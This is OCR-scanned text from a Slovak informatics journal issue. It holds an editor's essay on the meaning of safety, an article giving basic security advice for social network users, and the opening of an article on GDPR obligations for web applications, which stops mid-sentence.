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SLOVO NA UVOD O BEZPECNEJ NEBEZPECNOSTI

FOREWORD ABOUT SAFE HAZARD
Peter Vesely

Vzdy, ked” pocujem slovo bezpec¢nost, tak sa mi vynoria v myslienkach Zltobiele
skodovky a zigulaky, seridl plng propagandy o dobrom vysetrovatelovi - majorovi
Zemanovi a jeho 30 pripadoch. Ked’ som v minulosti cestoval lietadlami, tak sa ma
bezpecnost” priaomo dotykala. Tolko bezpecnostnych opatreni, ktoré som musel
absolvovat’ pri vstupe na palubu, a vSetky vraj boli pre moje najvacsie dobro,
chraniac ma pred vsetkgm zlgm. Aspon tak mi to vysvetlili. Relativne malé zlo som
sivravel. Az kym som na sluzobnej ceste v Prahe nedostal akutny telefondt z letiska
Heathrow od veducej bezpelnostnej zmeny. Poviem Vam, nebolo to ni¢ prijemné,
ked’ Vam volaju, ze zadrzali Vase diet'a, lebo podfa ich bezpe¢nostnych pravidiel, o
ktorych vedia asi iba sami oni, Vase diet'a porusilo nejaky akutny predpis zo veera
o tom, ze sa nemdbze samé pohybovat’ po letisku bez rodi¢ov. Teda mbze, ale musi
mat’ u seba jeden papier, ktorého vzor ani netusSim, kde zobrat. Sp&tne mi to
pripomina romdn Hlava XXII. Po niekolkych hodindch telefonovania a overovania
mnozstva az prilis osobnych udajov po teleféne ju pustili. Vtedy som si vydychol a
povedal som si, ze diskusia s dcérou o tom, Ze tam mad prilis velké okno ¢asové plné
nezmuyselného ¢akania na letisku bola fajn, lebo letiskovd ochranka sa jej postarala
o intenzivne vyplnenie toho Casu. Od tej doby som sa zacal vyrazne viac zamyslat
nad tym, ¢o znamend bezpecnost a aky je suvis medzi bezpecnostou a
obcianskymi pravami ludi. Venujem sa téme bezpecnost’ uz velmi dlho a za¢inam
byt z toho frustrovany. Uz ako tretiok na gymndaziu som si naprogramoval vliastny
antivirdk s kamardtom a zucastnil som sa sut'aze, vtedy bol populdrny polymorfny
virus ONEHALF. Uspesnd detekcia a lie¢ba z nasej strany. Précu som poslal do
jednej velkej spolo¢nosti, ktorej antivirdk to nedetekoval. Spoluprdcu s nimi som
odmietol na zZiadost' rodicov. Kusok na to sa zacal pouZzivat pojem heuristickd
analyza. Aj to je Zivot.

Bezpe&nost na mnia Uto& kazdy den. Specidlne v tuto dobu oficidine pandemicku.
Ako je vlastne nebezpecnd nebezpecnost ? Co je to nebezpec¢nost ? D& sa
definovat’ a pocitat ? Opakom nebezpecnosti je bezpe¢nost. Co vlastne znamend
bezpe¢nost ? Je skutocne opakom nebezpecnosti ? Co je lepsie - bezpecnd
nebezpecnost’ alebo nebezpecnd bezpecnost ? A kde sme my, fudia ? je mozné pre
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bezpecnost’ jednej osoby spravit nebezpecnost’ pre viacero oséb - priklad - pre
bezpecnost’ viady okolo nich su ochrankdari. Pre ostatnych fFudi, ktori nevedia, ze
okolo nich je ochranka, ktord je okamzite schopnu pouzit’ chvaty, hmaty a zbrane,
je neocakdvand interaktivita smerom k chrdnenej osobe vyhodnotend ako
potenciondlny Utok - a to mdze byt prilis nebezpecné pre danu osobu . Ale akosi
sme si zvykli na nejaké nepisané pravidld o bezpecnosti. Viete vlastne definovat’
ako su legislativne podchytené bezpecnostné predpisy ? Ano, jasné, BOZP na
prvom mieste - porusenie je pokuta, az trestné stihanie, ak sa stane nehoda v
pracovnom procese. Zdravotnicke predpisy prvej pomoci d’alej definuju ako robit’
zdravotnU bezpec¢nost, aj tieto musime vediet, inak nedostaneme napriklad
vodi¢sky preukaz, neskor iba niektoré profesie su pravidelne preskolené. Dopravné
predpisy sa tykaju bezpecnosti a ked’ ich porusime, tak pokuta az vazenie ( alkohol
za volantom, nehoda atd’. ). Drzitelia zbrani, pracovnici ochraniek a polovnici taktiez
skladaju skusky ohfadom zbrani, nardbania s nimi, skladovanim atd’. Mimochodom,
¢ital som Statistiku, teda viacero Statistik najma z krajiny, ktord sa nazgva koliskou
demokracie. Viac ludi zomrie na ndsledok utopenia sa vo vlasthnom bazéne ako po
zd&sahu strelnou zbranou. Vypocul som si viacero vykladov predstavitelov danej
krajiny a sU v podstate dva hlavné ndzorové prudy k pouzivaniu zbrani aich
volnému predaju. Prvy prud vravi, Zze ked’ vSetci odovzdaju zbrane a tie teda
nebudu medzi fud’mi, tak nebudu strelné zranenia a teda vrazdy strelnou zbranou.
Preto velmi prudko menia legislativu tak, aby nebolo mozné mat strelnd zbran a
dlhé noze. Budeme mat’ podla nich bezpecnu krajinu. Poukazuju pritom na niekolko
pripadov, kedy prisiel niekto psychicky naruseny do skoly a strielal po uciteloch a
Studentoch. Vraj preto, lebo zbran je fahko dostupnd. Poslednu taky diskusiu som
¢ital, ked’ v jednom zo statov vo vacsom kine zacal jeden pdn bezhlavo strielat’ po
l'ud’och. Zastavili ho vystrely iného divaka. Inak by bol vgrazne vacsi masaker. A tu
sme pri druhej strane ndzorov. Jeden texasan sa vyjadril k danej téme nasledovne:
Nechdpe, preco sa zakazuju zbrane. Krimindlnici nerieSia, ¢i maju zbran legdline
alebo nelegdlne. Oni riesia iba kolko ich maju a aky maju palebnu a zastrasovaciu
silu. Amnestie zbranové ich nezaujimaju, tak potom nech sa ludia ne¢uduju. Keby
prisiel taky pdachatel do hocijakého texaského kina, tak by zbran nevytiahol, iba ak
by chcel okamzite spachat’ samovrazdu. Tam ma skoro kazdy pri sebe minimdalne
jednu zbran. Teda vytiahnutie zbrane a ohrozenie niekoho prinesie okamzitu
adekvdatnu reakciu. Mimochodom v Texase je minimum Umrti strelnou zbranou.
Nevravi, ze Ziadne, lebo krimindlnici mézu mat vacsivu palebnu silu. Z mébjho
pohladu prvd skupina zakazujuca zbrane vytvdara bezpecnu nebezpelnost’ - idylu
bezpecnosti v redlnej nebezpecnosti. Druhd skupina vytvdara nebezpecnu
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bezpecnost, kedy je pomer sil pomerne vyrovnany. Teraz sa zjavne zamyslite, aky
je rozdiel medzi bezpecnou nebezpecnost'ou a nebezpecnou bezpecnostou. Skuste
sa zamysliet nad tym znova a zamuyslite sa nad svojim okolim. Vrahovi
mimochodom stacia ¢astokrdt viastné ruky, maly nozik, pripadne kamen. Najviac
vrazd v domadcnosti sa robi s kuchynskymi nozikmi - vSimli Ste si, aké su to vlastne
nebezpecné zbrane, Specializované na rezanie koncatin, krkov a na spdsobenie
rgchleho vykrvacania ? Nebezpecné veci su vSade okolo nds, teroristi zabijaju v
poslednej dobe autami a doddvkami. Mdme predpis ako tomu zabrdnit' ? A ¢o ak
toto bude mat k dispozicii sfetovany ¢lovek, ktorého aktudlny mentdliny obraz a
jeho paranoja vravia, ze akurdt Vy ste teraz ten, ktorg ho chce zabit' ? Do akej
miery sa mdme citit’ bezpecne, ked’ c¢itame, Ze zabili v minulosti Studenta na
prechdadzke a X rokov sa ni¢ neriesilo ? Alebo ked’ Citate Uplne malické pismenkd
o tom, Zze matku troch deti zndsilnil a zavrazdil skoro pred domom psychicky chory
Clovek, ktory mal mat’ eSte Ustavnu liecbu a nepotreboval k tomu okrem ruk nic
iné? Stdle mdme iluziu bezpecnej nebezpecnosti ? Co prispieva k rozsirovaniu
konceptu bezpecnej nebezpecnosti ? Je to nasa pasivita ? Je to nds spdsob Zivota,
rozhodovania ? Myslite si, Ze zbranové amnestie u nds boli za ucelom, aby sme sa
citili vSetci bezpecnejsie ? Alebo by v tom mohla byt pomerne jednoduchd
matematika, ktord vychddza z jedného konspiracného Clanku - medzi lud’mi bolo
cez 300 tis. zbrani - legdinych aj nelegdinych. A pocet silovych zloziek bol okolo 30
tis. Ja byt vrcholovym predstavitelom vlady tak mdm panicky strach, vyddm
d’alSie amnestie a posilnim pradvomoci silovych zloziek. Vyskusam to na inom type
hromadnej akcie, ale o tom niekedy nabuduce. Tak ako je to s bezpecnou
nebezpecnost'ou podla Vds ? Je to mytus alebo realita ? Alebo mdme nebezpecnu
nebezpecnost, pripadne nebezpelnu bezpelnost ??? Bezpecnd bezpecnost’ sa
stdva iba mytickgm pojmom. Ako je to v organizdcidch ? Mdme bezpecnu
nebezpecnost ? Chrdnime sa pred &im? Pred vonkajsim Utocnikom ? Pred
priemyselnou Spiondzou ? Pred zlyhanim vo vnutri ? Pred zlyhanim fudi alebo pred
zlyhanim techniky ? Alebo sme rezignovali a nejako to funguje s vierou, Ze tieto zlé
veci sU mimo nds ? Casto sa v oblasti bezpe¢nosti stretdévam s rozsirengm
ndzorom, ze ked’ mdm dokumentdciu napriklad k GDPR tak je problém vyrieseny,
Tak si vzdy pomuyslim, Zze Utocnik sa mobze za brucho od smiechu chytat, ked’ ¢ita
ten dokument vo vnutri papierovo bezpec¢ného systému ...

Prijemné citanie Vam Zeld Peter Vesely

Predseda redakcnej rady casopisu
Manazérska Informatika

5 http://www.manazerskainformatika.sk



il

ISSN 2729-8310, ro¢nik 1, ¢islo 2

Manazérska Informatika

BEZPECNOST NA SOCIALNYCH SIETACH

SECURITY ON SOCIAL NETWORKS
Martin Prikler

Abstract

The aim of this scientific article is to point out the dangers of using social networks
and ways to defend. Social networks are very popular in today’s world. They allow
people to connect with friends, family and share private information. There may be
issues related to privacy and information security.

Key words: security, social networks, user

Abstrakt

Ciefom tohto vedeckého c¢ldnku je poukdzat na nebezpecenstvo pri vyuzivani
socidglnych sieti a moznostami ako sa brdnit. Socidlne siete sU v dneSnom svete
velmi populdrne. Umoznuju fTud’om sa spojit’ s priatefmi, s rodinou a zdiefat’
sukromné informdcie. M6zu sa vyskytnut problémy suvisiace s ochranou sukromia
a bezpecnostou informdcii.

Klucové slovd: bezpec¢nost, socidine siete, uzivatel

Uvod

Socidlne siete maju v poslednych rokoch stdle vacsiu popularitu medzi f'ud’'mi.
Ludia m6ézu medzi sebou zdielat” multimedidine udaje a udrziavat' v nich prehfad.
Uzivatel sa prihldsi do jednej z tychto sieti a vyhladd novych pouzivatelov s
rovnakym zdaujmom™, Po prihldseni si vytvori kazdy vlastnyg profil, aby sa
predstavil a odprezentoval pred ingmi uzivatelmi. Stradnky socidlnych sieti, ako
napriklad Facebook, MySpace a Linkedin sU velmi populdrny a stali sa
preferovanou metdédou komunikdcia pre vacsinu fudi. Sucasne popularita
socidinych sieti véak predstavuje velku hrozbu pre rudi.il Uto¢nici mézu pomocou
socidlnych sieti velmi jednoducho ziskat” délezité informdcie, ktoré mdzu neskor
zneuzit'l'2 Pouzivatelom sa na socidlnych sietach odporuca uviest celé meno,
adresu, pohlavie, ddtum narodenia, Skolu, miesto narodenia, zéfuby a iné osobné
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informdcie. V&etky tieto informdcie su zdiefané s ostatnymi pouzivatelmi. Cim viac
informdcii uzivatel poskytne tym viac to mdze byt neskdr pouzité proti nemu.

Socidlne siete

U¢ty na socidlnych sietach mézu byt velmi dobrymi ndstrojmi ak su v
nespravnych rukdch. Podvodnici mézu prebrat’ celg vas ucet. Pouzivaju ich na
cokolvek, od zdkladného spamu az po upozornenie na rdézne spolocenské
problémy. Vase vliastné ucty sa mézu zdat prilis malé na to, aby lakali podvodnikov,
ale gj ked” mdate iba pdr sledovatefov, Vase informdcie su cennou komoditou.
Ukdzeme si ako zostat’ v bezpedi na socidinych sietacht?,

Pre kazdu socidlnu siet” pouzivajte jedinecné hesld. Je to utrpenie, ale je tiez
absolutne nevyhnutné, aby ste pre napriklad pre Twitter nepouzivali rovnaké heslo
ako pre Facebook, Instagram a d'alSie socidine siete. Pouzivanie jedného hesla
ulahcuje hackerom prdcu. Pristup k jednému znamend ziskanie pristupu ku
vSetkym, a predstavte si, aké bolestive to bude, ked’ zistite, ze ste vyradeni z celého
svojho online Zivota.®? Ak pouZijete jedno heslo pre viac sluzieb, ste rovnako
zabezpeceni ako najmenej zabezpecend sluzba, ktoru pouzivate. Ak vasa socidlna
siet’ poskytuje moznost’ zabezpedit’ vas Ucet dvojfaktorovou autentifikdciou, urcite
vyuZite tuto moznost. Toto je dodatocné overenie, napriklad ak sa vy alebo niekto
prihldsite na socidlnu siet’ z nového zariadenia. D& vadm tym vediet, Ze sa niekto
chce prihldsit do vasho uctu

Nebud'te prili§ osobny. Predstavte si, ako lahko niekto dokdze zistit’ meno vésho
prvého domdceho milacika alebo Skoly z vasho profilu na Facebooku, potom sa
zamuyslite nad tym, kolko sluzieb ich pouziva ako bezpecnostné otdzky. Nechajte
¢o najviac zo svojho profilu v sukromi a predtym, ako zverejnite Uplne vSetky
aspekty svojho zivota, dobre si to rozmuyslite.”]

Vd'aka prehnanému zdiefaniu informdcii nie je takzvané zdiefanie technickgm
problémom, ale tym, aké informdcie zdielame, a eSte nebezpecnejsie, kto k nim md
pristup. Socidlne siete spracuvaju velké mnozstvo osobnych informdcii, ako su vase
meno, vzhfad a vlastnosti tvare, e-mail, dadtum narodenia, ¢lenovia rodiny, fudia,
ktorych sledujete na internete, alebo informdcie o vasej aktudlnej polohe, case.!
Potom sa vsSetky tieto informdcie ulozia a pouziju napriklad na lepSie zacielenie
rekldm. Aj ked’ spolocnosti, ktoré tieto Udaje spravuju, striktne dodrziavaju
nariadenie GDPRM, mbzu sa samy stat’ ciefmi kybernetickych Utokov a vase udaje
mozu byt zneuzité na nekalé ucelyt™. Kyberneticki zlo¢inci mézu navyse zneuzivat
vase verejné Udaje, napriklad vytvarat nepravdivé osobné informdcie a pouzivat
ich na rézne podvody a iné nevhodné ¢innosti.*
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Velmiuzitocné je mat’ spravne zabezpeceny profil na Facebooku. V nastaveniach
svojho Uc¢tu mbzete prepnut viditelnost’ tak, aby vyhovovala vasim potrebdm -
sukromnd, priatelskd, verejnd atd. Pre sukromné osoby je najbezpecnejsim
spésobom nastavit’ viditefnost’ informdacii iba na vas zoznam priatelov.’! Ak chcete
zistit a vediet’, ako vd&s profil vidi verejnost’, prejdite do svojho profilu a vyberte
spbsob zobrazenia. Potom sa vas profil zobrazi ako pre verejnost’. Tiez sa odporuca
skontrolovat’ zoznam priatelov. Mbzete odstranit’ fudi, s ktorgmi ste nikdy
nehovorili, alebo sa pokusit’ zostat’ v kontakte so starymi priatelmi, ktorych ste uz
dlho nevideli. NajvacSou vghodou znizenia poctu priatelov je, Ze lepSie pochopite,
kto md pristup k informdcidm, ktoré zdiefate vo svojom profile. Rovnako ako
v pripade publikovania, aj tu mbzete upravit’ nastavenia zobrazenia fotografie.
Mdte moznost’ ,odznacit™ sa z fotografii, na ktorych vas oznacili ini. M&Zete takisto
vypnut funkciu rozpozndvania tvdre, aby vdas Facebook nerozpoznal automaticky
na fotografidch a videdch a nenavrhoval vas profil na oznacovanie. Jedna
z funkcii, ktoré by ste mali zapnut’, je Kontrola v ¢asti ¢asovd os a menovky. To vam
umozni skontrolovat’ obsah, na ktorom ste boli oznaceni, eSte predtym, ako sa
dostane na vasu ¢asovu os.

Zdaver
Na zdver uvediem pdr uzito¢nych rad ako by sme sa mali spravat’ na socidlnych
sietach a ako by sme mohli predist’ pripadnému nebezpecenstvu:l!
e na pristup do socidlnych sieti pouzivajte iba vlastné zariadenie ako napriklad
telefén, notebook alebo tablet,
e pouzivat silné hesld, a pravidelne ich menit,
e nepouzivat rovnaké mend a hesld na viacerych aplikaciach,
e nainternet vstupovat len cez chrdnené rozhranie https://,
e kontrolujte si aké md vasa socidlna siet’ bezpecnostné nastavenia,
e vase osobné informdcie a fotky by mal vidiet’ len ten, komu su urc¢ené a nie
aby boli dostupne pre kohokolvek,
e neotvdrajte prilohy v spravach od nezndmych fudi,
e treba byt opatrny pri podozrivych spravach a videdch, ktoré vam pridu do
vasej postovej schrdnky,
e nie je rozumné si pridavat, ¢o najviac fudi do priatelov len aby ste ich mali,
C¢o najviac,
e medzi priatefmi by mali byt fudia len ktorych osobne pozndte,
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e treba davat pozor na Wi-fi, na ktoru ak Ste pripojeny, zverejneny obsah
mozu vidiet” ostatné osoby pripojené na rovnaku siet, preto sa odporuca
vtedy nenakupovat cez internet a nekontrolovat’ si bankové Ucty,

e velmiddlezité je mat’ vzdy nainstalovany antivirusovy program, ktory chrdni
vSetko, Co mdte v teleféone alebo pocitadi,

e antivirusovy program majte vzdy aktualizovany,

e nezabudajte, Ze nezaheslovany telefén alebo pocita¢ je branou k vasim
datam alebo peniazom, majte ho vzdy dostato¢ne zabezpeceny heslo,
znakom alebo odtlackom prstu.

Co k tomu dodat? Kazdému uzivatelovi socidlnych sieti by som odporucil, aby si
dbékladne premuyslel vsetko, ¢o napise o sebe na socidlnych sietach a aby muyslel
vzdy na kvalitné zabezpecenie svojich Uctov.
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VSEOBECNE NARIADENIE O OCHRANE UDAJOV
GDPR A JEHO VPLYV NA SPRACOVANIE OSOBNYCH
UDAJOV VO WEBOVYCH APLIKACIACH

GENERAL DATA PROTECTION REGULATION (GDPR) AND ITS IMPACT ON THE
PROCESSING OF PERSONAL DATA IN WEB APPLICATIONS

Ema Majerovi¢ova

Abstract

The aim of the article is to examine the issue of GDPR and the impact of GDPR on
the processing of personal data in web applications. The basic principles of GDPR
and their implementation in web applications are discussed.

Key words: GDPR, web Applications

Abstrakt

Ciefom clanku je preskumat problematiku GDPR a vplyv GDPR na spracovanie
osobnych udajov vo webovych aplikacidch. Rozoberaju sa zakladné principy GDPR
a ich implementdcia vo webovych aplikacidach

Klucové slova: GDPR, webové aplikdcie

Uvod

V8eobecné nariadenie o ochrane osobnych udajov sa dostalo do povedomia
Sirokej verejnosti hlavne vd’'aka medializdcii prijatia nariadenia GDPR ( GDPR -
General Data Protection Regulation - VSeobecné nariadenie o ochrane udajov,
pIngm ndzvom Nariadenie Eurdépskeho parlamentu a Rady 2016/679 z 27. aprila
2016 o ochrane fyzickych oséb pri spracuvani osobnych udajov a o volnom pohybe
takychto Udajov, ktorym sa zrusuje smernica 95/46/ES, je nariadenie Eurdpskej
Unie, ktorého ciefom je vyrazné zvysenie ochrany osobnych udajov obcanov.l'®),
Svoje osobné udaje zdielame kazdy den a v mnohych pripadoch si to vébec
neuvedomujeme a robime to pravdupovediac automaticky bez hlbsieho
zamyslenia sa nad ndsledkami nasich ¢inov. Nevieme komu vlastne nase osobné
Udaje dadvame a na aké ucely budu spracovdavanéll, Pozndm iba jedného cloveka,
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ktory si precital zmluvné podmienky pouzivania pred zacatim pouzivania aplikdcie.
Takmer vsetci bez rozmyslania kliknd na ,Suhlasim so spracovanim osobnych
udajov®, ale nezaujima ich ¢o sa dalej s ich udajmi deje.?) Mnoho fudi si
neuvedomuje, Ze cokolvek sa na internete stane, je monitorované a ukladané. Nie
je fahkeé si pripustit’ skuto¢nost’, Zze sme neustdle kontrolovani a sledovani, ze niekto
koho sme nikdy nevideli a ani neuvidime o nds vie viacej ako by sme si priali.
Zanechdvame za sebou stopy na internete, ktoré nikdy nezmiznu a to aj v pripade
webovych aplikacii?]

Webovd aplikacia je aplikacny program, ktory je ulozeny na vzdialenom serveri
a dorucovany cez internet cez rozhranie prehfaddvaca. Webové aplikdcie mozu
byt navrhnuté pre Siroku Skdlu pouziti a mbzu byt pouzité kymkolvek; z
organizdcie, jednotlivcovi a z mnohych dévodov.l? Medzi bezne pouzivané webové
aplikacie patri webmail, online kalkulacky alebo obchody elektronického predaja.
K niektorym webovym aplikdciadm ma pristup iba konkrétny prehfaddavac; vacsina
je vSak k dispozicii bez ohlfadu na prehliada¢. Ako funguju webové aplikdcie
Weboveé aplikdcie sa nemusia stahovat, pretoze su pristupné cez siet. Pouzivatelia
maju pristup k webovej aplikdcii pomocou webového prehfaddvaca, ako je Google
Chrome, Mozilla Firefox alebo Safari. Na fungovanie webovej aplikdcie je potrebny
webovy server, aplika¢ny server a databdza. Webové servery spravuju
poziadavky, ktoré prichddzaju od klienta, zatial o aplika¢ny server dokonci
pozadovanu ulohu. Na ulozenie potrebnych informdcii je mozné pouzit' databdzu.
Webové aplikdcie maju zvycajne krdtke vgvojové cykly a daju sa vytvorit’ s malgmi
vyvojovymi timami. Vacsina webovych aplikdcii je napisand v jazykoch JavaScript,
HTML5 alebo kaskdadovych Styloch (CSS). Programovanie na strane klienta
zvycajne vyuziva tieto jazyky, ktoré pomdhaju budovat klientske rozhranie.
Programovanie na strane servera sa vykondva na vytvorenie skriptov, ktoré bude
webovd aplikdcia pouzivat. Pri programovani na strane servera sa bezne pouzivaju
jazyky ako Python, Java a Rubyt,

Vyhody webovej aplikdcie

Webové aplikdcie maju vela réznych vyuziti a s tymito spdsobmi pouzitia
prichddza aj vela potencidinych vghod. Medzi bezné vyhody webovych aplikdcii
patria:

e UmozZnenie pristupu viacerym pouzivatefom k tej istej verzii aplikdcie.

e Weboveé aplikdcie nie je potrebné instalovat.

e K webovym aplikdcidm je mozné pristupovat’ prostrednictvom réznych

platforiem, ako je napriklad stolny pocita¢, notebook alebo mobilny telefon.
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e Je k nim pristup prostrednictvom viacerych prehladdvacov.

GDPR a jeho podstata
25. mdj 2018 znamenal ddtum ucinnosti najkomplexnejsich predpisov o ochrane
sukromia na nasej planéte. Vacsina organizacii v USA a Kanade vsak
pravdepodobne nie je v sulade s rozsiahlym novym vSeobecnym nariadenim o
ochrane Udajov (GDPR) Eurdpskej unie, ktoré nadobudlo Ucinnost™l. VSeobecné
nariadenie o ochrane udajov (GDPR) je tu a tieto tvrdé nové pravidld ovplyvnuju
kazdu spoloc¢nost, viddnu agenturu alebo inU organizdciu, ktord podnikd v Eurdpe
alebo nardba s osobnymi udajmi ob&anov alebo obyvatelov EUEL A v USA je o
tychto predpisoch prekvapivo nedostatocné povedomie alebo dokonca sa vyskytli
aj obavy. GDPR znamend dramaticky zmenu v tom, ako americké spolo¢nosti
spravuju sukromné udaje svojich zdkaznikov, a ze je to iba zaciatok celosvetového
obratu smerom k vacsej ochrane informdcii spotrebitelov.
GDPR obsahuje 99 clankov z predchddzajuceho zdkona o ochrane osobnych
udajov z roku 1995 a mnoho novych poziadaviek na ochranu osobnych udajov:*]
e Podniky by mali pred zhromazdenim svojich Udajov ziskat’ vyslovny suhlas
pouZzivatelov.
e Ochrana udajov zdmerne a predvolene VSetci pouzivatelia by mali mat’
pristup k svojim udajom.
e Kazdy pouzivatel by mal mat’ prdvo na prenosnost’ udajov. Kazdy uzivatel
by mal mat’ pravo na zabudnutie.
e Prisne vykondvanie pravidiel.
e Firmy by maliinformovat’ zdkaznikov v pripade, ze doslo k poruseniu udajov.
e Kazdy vlastnik mobilnej alebo webovej aplikacie musi mat pristup Specificky
pre danu aplikaciu, aby zabezpedil presun dat do a z mobilnych/webovych
zariadeni.
Maijitelia mobilnych a webovych aplikdcii by mali mat’ niekolko zabudovanych
ovlddacich prvkov, pomocou ktorych médzu pouzivatelia spravovat’ svoje udajel™,

Subjekty GDPR

Hlavnymi subjektmi nariadenia GDPR su ob¢ania celej EU, ako aj Norska, Islandu
a Lichtenstajnska. Rovnako sa na nich vztahuje kazdy podnik, ktory spracuva
osobné udaje ob&anov EU alebo ob&anov vyssie uvedenych krajin, GDPR. Aby ste
uplne porozumeli GDPR, musite porozumiet’ definicidm pouzitym v nariadeni. Ide o
tieto vyrazy:®
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e Kontroldr - Subjekt, ktory md uzivatel povolené zhromazd'ovat udaje na
vykondvanie transakcii, sa nazyva ,Sprdavca“. Spravidla je to viastnik webu
alebo aplikdcie.

e Procesor - Subjekt alebo osoba, ktord spracuva udaje v mene sprdvcu, ako
suU sluzby tretich strdan, ako sU Google, Amazon, iTunes alebo PayPal, sa
nazyva ,Procesor”. V niektorych pripadoch sa za spracovatefov udajov
mozu povazovat aj spolupracujuce / externé vyvojové spolocnosti.

e Dotknutd osoba - Osoba alebo subjekt, ktorych udaje zhromazd'uje spravca
alebo spracovatel, sa nazyva ,Subjekt”. Je to pouzivatel webovej alebo
mobilnej aplikdcie.

e Uradnik pre ochranu udajov - Ur¢end osoba alebo subjekt, menovany a
urceny sprdvcom alebo spracovatelom, ktory pomdha im a ich
pouzivatelom pri dodrziavani GDPR. Je nutné vymenovat uradnika pre
ochranu Udajov vznikd, iba ak sU zhromazdené Udaje rozsiahle a citlivé.

Prava konecného pouzivatela podl'a GDPR

Prdvo byt informovany - Podla ¢ldnku 58 nariadenia GDPR md pouzivatel pravo
vediet, aké udaje zhromazd'uje vlastnik aplikdcie a na aky Ucel. Informdcie by mali
byt lahko pristupné a lahko pochopiteflné a poskytované bezplatne.
Predpokladajme, ze akdkolvek aplikdcia zhromazd'uje a spractuva osobné udaje
deti. V takom pripade je vlastnik aplikdcie povinny zverejnit’ informdcie o pouZiti
zhromazdenych udajov v jasnom a zrozumitelnom jazyku, ktorému neplnoletd
osoba fahko rozumie. Vac&sina maijitelov aplikdcii zahfia do svojich zdsad ochrany
osobnych udajov dolozky s vysvetlenim sndh o ochranu deti.l

Prdvo na pristup ku svojim udajom na pozZiadanie - Podla ¢lanku 15 GDPR md
uzivatel pravo na pristup k svojim udajom na poziadanie. Kazdy podnik, ktory
zhromazd'uje informdcie od subjektov podfa nariadenia GDPR, musi splnit’ ziadost’
ktoréhokolvek zo svojich pouzivatelov a poskytnut im pristup k informaciam, ktoré
od nich zhromazdil. Firma md na splnenie Ziadosti pouzivatela tridsat dni. V
niektorych pripadoch, ked je objem dat prilis velky, mbze spoloc¢nost na
dokonéenie Ziadosti pouzivatela ziskat predizenie o d’alsi mesiac. Tu je niekolko
pokynov, ktoré treba dodrzat’ v suvislosti s tym, ako vybavit’ Ziadosti o pristup k
sukromiu podla nariadenia GDPR. GDPR umoznuje podniku Uctovat’ si primerané
poplatky, ak je ziadost o pristup k uUdajom ,zjavne neopodstatnend alebo
neprimerand®. Ciefom tohto nariadenia je vSak poskytnut pouzivatefom kontrolu
nad zhromazd’ovanim ich osobnych Udajov zadarmo alebo ¢o najblizsie k ich
bezplatnostil’
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Prdvo na zmenu svojich informdcii - Podla ¢lanku 16 GDPR md uzivatel pravo
zmenit’ svoje informdcie, ak sU nepresné alebo neuplné. Vacsina webovych aplikdcii
umozniuje pouzivatefom menit’ informdcie v redlnom case."

Prdvo na zabudnutie - GDPR ddva pouzivatefom prdvo na vymazanie, ktoré sa
tiez nazyva ,Pravo na zabudnutie®. Pouzivatel mdze kedykolvek poziadat’ viastnika
aplikacie, aby vymazal jeho osobné Udaje, ak uz nie je potrebné, kvoli Comu boli
Udaje pébvodne zhromazdené alebo spracované. Pouzivatelia mézu tiez kedykolvek
odvolat’ svoj suhlas so zhromazd’ovanim alebo spracovanim informdcii, ak zistia,
Ze ich Udaje su nezdkonne spracované alebo pouzité. Najlepsim spbdsobom, ako to
dosiahnut, je zabezpecit, aby vasa webovd aplikdcia umoznovala pouzivatelom
Uplne odstranovat’ Ucty. Vlastnik aplikdcie méze ukladat udaje iba dovtedy, kym
sU potrebné na ucel, na ktory boli pdvodne zhromazdené. Vlastnik aplikdcie musi
urcit’ primerané casoveé limity alebo méze narazit’ na pravne problémy.l

Prdvo na obmedzenie procesu udagjov - GDPR ddva pouzivatefom prdvo na
obmedzenie procesu ich udajov. Ak jednotlivec poZiada vlastnika aplikdcie, aby
prestal spracovdvat’ svoje udaje, je vliastnik aplikdcie povinng okamzite vyhoviet'.
Podla ¢ldnku 18 GDPR maju pouzivatelia pravo obmedzit' spracuvanie svojich
osobnych udajov za tychto podmienok: Ak sU zhromazdené udaje nepresné Ak je
spracovanie uUdajov nezdkonné Ak podnik zhromazdil nepotrebné uUdaje Ak
jednotlivec namieta proti spracovaniu svojich udajov.['”

Prdvo na presnost udajov - GDPR ddava pouzivatefom prdvo na prenosnost
udajov. Prenosnost’ udajov znamend, Ze ked’ chce pouzivatel preniest’ svoje udaje
z jedného zariadenia do druhého, mdze tak urobit’ bez akychkolvek zdsahov zo
strany vlastnika aplikdcie. Pouzivatel aplikdcie mdze tiez poziadat vlastnika
aplikdcie, aby preniesol udaje akejkolvek tretej strane v rdmci zakonnych hranic.
Dévody prenosu udajov z aplikdcie do iného zariadenia tretej strany sa mézu lisit
od tuzby komunikovat’ prostrednictvom vasej aplikdcie so socidlnou platformou
alebo férom az po zdielanie udajov s veritelmi, pracovnymi miestami,
poskytovatelmi lekdrskej starostlivosti atd’. 24

Prdvo na zrusenie spracovania udajov - Podla ¢ldnku 21 GDPR md pouzivatel
pravo poziadat vlastnika aplikdcie, aby zastavil spracovanie svojich udajov.
Vlastnik webu alebo aplikdcie musi dat’ pouzivatefovi na zaciatku, ako aj v
pravidldch ochrany osobnych udajov vediet, Zze md nasledujuce prdava vzniest’
ndmietkul],

Prdva vo vztahu k automatizovanému rozhodovaniv a profilovaniv - Jednym
z prvych ¢&ladnkov nariadenia GDPR je ziskanie informovaného a konkrétneho
sUhlasu pouzivatelov webu a aplikdcii skér, ako od nich ziskate osobné informdcie.
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Predtym sa chdpalo, Zze rozhodnutim pouzivatefov pokracovat v pouzivani
aplikacie je suhlas so zhromazd’'ovanim a pouzivanim ich udajov. UZ to tak nie je.
Od maijitelov aplikdcii sa vyzaduje, aby pred automatizdciou a profilovanim svojich
informdcii prijali aktivny a informovany suhlas pouzivatela. Vlastnik aplikdcie by
mal pouzivatefom poskytnut’ urcité informdcie o informdciach, ktoré bude
zhromazdovat. Zverejnenie by malo obsahovat’ zaciarkavacie policko alebo
tlacidlo, pomocou ktorého médzu pouzivatelia kliknut” a potvrdit’ svoj suhlas so
zhromazd’ovanim informacii.i?

Ako dosiahnut, aby bola vasa webovd aplikdcia v stlade s nariadeniami GDPR?
Vlastnik aplikdcie mbze zaistit” sulad svojej webovej aplikdcie s GDPR podla
tychto pokynov a integrdcie tychto moznosti do webovej aplikéciet?’].
Neukladajte nepotrebné udaje - Vlastnik aplikdcie by mal mat jasné pokyny,
aké informdcie by sa mali zhromazd'ovat' a na aké Ucely. Zhromazdovanie
nepotrebnych informdacii bez akéhokolvek Ucelu je v rozpore s podmienkami GDPR.
Napriklad ak aplikdcia na objedndvanie jeddl ziada o rodinny stav alebo hernd
aplikdcia s poziadavkou na domdcu adresu. Vlastnik aplikacie by mal zvdzit qj
